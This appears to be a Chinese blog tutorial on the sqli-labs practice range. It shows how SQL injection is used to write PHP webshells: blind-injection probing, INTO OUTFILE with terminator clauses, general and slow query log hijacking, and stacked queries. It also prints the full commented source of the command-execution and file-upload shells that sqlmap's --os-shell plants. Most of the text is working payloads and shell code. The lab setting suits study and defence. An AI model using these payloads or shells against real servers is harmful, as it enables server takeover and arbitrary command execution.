一、注入条件
二、注入相关函数和语句
三、联合写入
四、分隔符写入
五、日志写入
六、堆叠写入
七、--os-shell
判断注入类型
发现只有在错误的时候才有进行提示不过没有提示哪里出错了,成功是正常显示
典型的盲注,那么先使用构造基本的poc进行测试
1'and sleep(5)--+ #未成功延时 1''and sleep(5)--+ #未成功延时 1')and sleep(5)--+ #未成功延时 1")and sleep(5)--+ #未成功延时 1'))and sleep(5)--+ #成功延时,证明此处闭合为(('$id'))
判断列数
1')) order by 3 --+ #使用3正常,4提示错误
构造上传语句
-1')) union select 1,"<?php eval($_REQUEST[1]);?>",3 into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\outfile.php' --+
可以看到已经生成成功了
fields terminated by
用于指定在输出文件中分隔字段的字符。 每个字段的位置添加木马1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\2.php' fields terminated by "<?php eval($_REQUEST[1]);?>" --+
columns terminated by
用于指定输出到文件中的列之间的分隔符 每个列位置之间添加木马1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\3.php' columns terminated by "<?php eval($_REQUEST[1]);?>" --+
lines starting by
每一行的起始位置 每一行的起始位置 1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\4.php' lines starting by "<?php eval($_REQUEST[1]);?>" --+
SET SESSION general_log = 1; SET SESSION log_output = 'file'; SET SESSION general_log_file = 'C:\phpStudy\WWW\sqli-labs-master\mysql.log';开启日志,以日志以文件的形式写入到mysql.log中
SET GLOBAL general_log = 1; SET GLOBAL log_output = 'file'; SET GLOBAL general_log_file = 'C:\phpStudy\WWW\sqli-labs-master\mysql.log';改是改过来了又有发现一个问题,我直接从windows上复制下来的目录"\",在mysql中被转义了。。。 尴尬
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/sqli-labs-master/mysql.log';
随便在一个地方输入1 select '<?php eval($_REQUEST[1]);?>' --+ 被记录到日志文件里面了
不过还是连接不上,想起了当时学文件包含的时候jpg这种图片不能解析php代码,所以我就在想是不是log后缀也不能解析php代码,尝试了很多次果然还是解析不了的,那么就将log的后缀改为php在试试
随便进入一个sql注入靶场,1 select '<?php eval($_REQUEST[1]);?>' --+ 就算闭合错误也没有关系,general_log这个文件也会记录错误的信息,只要一句话木马没错就好
那么这个日志写入就是这么一回事了,要注意的是开启日志功能,有写入修改权限,修改日志文件为php格式要能被解析,可能大家会说触发条件太苛刻了,那不知道你们有没有想过使用堆叠注入一把梭哈呢???
慢查询日志写入: ';set global slow_query_log=1;set global slow_query_log_file="C:\\phpStudy\\WWW\\sqli-labs-master\\Less-38\\querylog.php";select if(sleep(11),"<?php eval($_REQUEST[1]);?>","<?php eval($_REQUEST[1]);?>") --+
效果出来就ok了,我在phpmyadmin里面就可能直接执行所有的语句到了第38关好像就不行了
1、系统自带路径 2、自定义路径 3、目录字典 4、爆破
tmpbqghp.php #命令执行文件<?php
$c = $_REQUEST["cmd"]; #通过$_request["cmd"]获取http请求中的"cmd"参数,将其存放到变量"$C"中
@set_time_limit(0); #不限制脚本执行时间
@ignore_user_abort(1); #用户关闭连接后,脚本仍然继续执行
@ini_set("max_execution_time",0); #脚本最大执行时间,0为不限制
$z = @ini_get("disable_functions");
if (!empty($z)) {
$z = preg_replace("/[, ]+/", ',', $z);
$z = explode(',', $z);
$z = array_map("trim", $z);
} else {
$z = array();
} #通过 @ini_get 函数获取 PHP 中被禁用的函数列表,将其存储到变量 $z 中,并将其转换为数组格式。如果没有被禁用的函数,则将其设置为空数组。
$c = $c . " 2>&1\n"; #将错误输出重定向到标准输出中function f($n) {
global $z;
return is_callable($n) and !in_array($n, $z);
}if (f("system")) {
ob_start();
system($c);
$w = ob_get_clean();
} elseif (f("proc_open")) {
$y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
$w = NULL;
while (!feof($t[1])) {
$w .= fread($t[1], 512);
}
@proc_close($y);
} elseif (f("shell_exec")) {
$w = shell_exec($c);
} elseif (f("passthru")) {
ob_start();
passthru($c);
$w = ob_get_clean();
} elseif (f("popen")) {
$x = popen($c, r);
$w = NULL;
if (is_resource($x)) {
while (!feof($x)) {
$w .= fread($x, 512);
}
}
@pclose($x);
} elseif (f("exec")) {
$w = array();
exec($c, $w);
$w = join(chr(10), $w) . chr(10);
} else {
$w = 0;
}
#定义了一个函数 f,用于检查指定的函数是否可用,如果不存在任何一个可以执行系统命令的函数,则将 $w 设置为 0
echo "<pre>$w</pre>";
?> #将结果以 HTML 格式输出到浏览器上
tmpuppph.php #上传文件<?php
if (isset($_REQUEST["upload"])) {
$dir = $_REQUEST["uploadDir"];
if (phpversion() < '4.1.0') {
$file = $HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir."/".$file) or die();
} else {
$file = $_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"], $dir."/".$file) or die();
}
@chmod($dir."/".$file, 0755);
echo "File uploaded";
} else {
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpStudy\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
}
?>
#检查是否收到了名为 "upload" 的请求参数,如果有,它会获取名为 "uploadDir" 的参数,然后根据 PHP 版本不同,使用不同的方法来上传文件。然后它会将文件的权限设置为 0755,并返回一个 "File uploaded" 的字符串。如果没有收到 "upload" 参数,它会输出一个 HTML 表单,允许用户上传文件,并指定上传到的目录
访问http://127.0.0.1/sqli-labs-master/Less-1/tmpuppph.php上传一个木马文件上去
总结:--os-shell就上往服务器上写入两个木马文件,一个是文件上传使用,一个是通过url进行传参利用命令执行
发表评论 取消回复